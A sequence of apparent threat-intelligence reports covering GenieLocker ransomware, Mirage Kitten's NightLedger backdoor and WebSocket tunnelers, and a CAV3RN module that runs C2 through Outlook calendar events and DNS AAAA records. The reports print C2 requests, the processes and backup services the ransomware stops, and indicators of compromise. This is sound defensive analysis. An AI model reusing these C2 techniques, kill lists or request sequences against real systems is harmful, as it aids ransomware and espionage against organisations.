The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Secret value hashing

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

Environment check

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

Watchdog checks

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

Output for whitelisted hosts

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

Threads info output

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

Journal content

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

ESXi version description

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

LockBit output design, possibly the source layout for the GenieLocker ESXi variant

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

File encryption summary

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Phishing played a part in more than half of all incident response engagements undertaken by Talos, Cisco's threat research organization, during the second quarter of 2026, with healthcare organizations and manufacturing firms among the top targets.

The post Talos: Attackers Refine Phishing Playbook To Target Critical Infrastructure appeared first on The Security Ledger with Paul F. Roberts.

Introduction

Mirage Kitten – also known as UNC1549, Smoke Sandstorm, and Nimbus Manticore – is an advanced persistent threat (APT) group focused on cyber-espionage operations against aerospace, aviation, defense, and telecommunications sectors across the Middle East and Africa, using highly targeted spear-phishing campaigns, fake recruitment portals, and custom multi-stage malware to gain persistent access and exfiltrate sensitive data.

During recent threat research, we identified a previously undocumented malware set developed and used by Mirage Kitten. The toolset includes NightLedger, a new Windows backdoor for reconnaissance, command execution, file operations, process discovery, and screenshot capture; and two custom WebSocket-based tunnelers, ArcBridge and BridgeHead, for covert network access and operator-controlled tunneling.

Technical details

Although the initial access vector remains unclear for most malware samples observed in this activity, we saw BridgeHead being deployed during post-exploitation activities in victim environments in Egypt and at a Pakistan-based aerospace and aviation organization. The deployment followed targeted spear-phishing activity consistent with tradecraft we recently documented as part of our private threat intelligence reporting service and publicly reported by Unit 42 and Check Point Research, including the use of highly tailored social engineering lures against selected targets. These lures included recruitment-themed content impersonating trusted brands and hiring platforms, as well as lookalike videoconferencing pages that redirected victims to malicious archives hosted on third-party file-sharing services.

NightLedger backdoor

NightLedger is a recently identified Windows backdoor that we attribute to Mirage Kitten based on code and behavioral similarities to the historical implants developed and used by the group. The implant masquerades as SspiCli.dll and appears to be designed for DLL search-order hijacking, targeting a legitimate AppVShNotify.exe binary. While AppVShNotify.exe does not directly import SspiCli.dll, it imports RPCRT4.dll, which can delay-load SspiCli.dll when it invokes an RPC API that requires authentication. This allows a co-located malicious SspiCli.dll to be loaded while forwarding expected exports to the legitimate DLL.

When started, the malicious DLL creates the mutex A8215357-F99A-44FE-BC65-D8F0434B0C03 to enforce a single running instance. If the mutex already exists, it exits immediately.

NightLedger periodically contacts its C2 over HTTPS, issuing an HTTP GET request to the /edfcvfgbhnjmkqwasderfgg endpoint at the realhealthshop[.]com domain, and uses tjconsultingservices[.]com as a fallback C2.

When a valid C2 response is received, the implant tokenizes the payload using the custom delimiter (#%%#) and passes the parsed fields to its command dispatcher. From a development standpoint, this is similar to TWOSTROKE, a backdoor attributed to the same APT and previously documented by GTIG, whose C2 response is hex-encoded and uses (@##@) as a field separator.

NightLedger supports the following commands:

Command output is returned to the C2 via an HTTP POST request to /wsdefvvbnhyuijkplmbgfrtt.

BridgeHead – a WebSocket tunneler

During our investigation, we encountered a tunnel proxy deployed as unbcl.dll in the %LocalAppData%\Microsoft\VisualStudio directory on a machine in Egypt. We also identified a similar deployment in a Pakistan-based environment, where the tunneling tool was stored as C:\program files (x86)\univpn\promote\libwinpthread-1.dll. The malware dynamically loads advapi32.dll, resolves GetUserNameA, retrieves the current Windows username, converts it to lowercase, and searches for a specific substring in it. This behavior suggests prior reconnaissance was performed within the internal network and the username check is needed to make sure it runs on a specific machine. This is potentially intended to prevent execution of the standalone malware sample inside virtual analysis systems. If the substring is not found, the function returns silently without activating.

If the username check was successful, the tunneler establishes an HTTPS WebSocket connection as follows:

GET /connect HTTP/1.1
Host: smartconnect.azurewebsites.net
Upgrade: websocket
Connection: Upgrade
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Every message is at least 8 bytes. Seven message types are actively used:

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

A security researcher writing under the name tokay0 disclosed a flaw that could allow an attacker to access and control more than 600,000 deployed Shark model robot vacuums.

The post Robot Vacuum Flaw Could Give Hackers Control Over Millions of Home Devices appeared first on The Security Ledger with Paul F. Roberts.

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

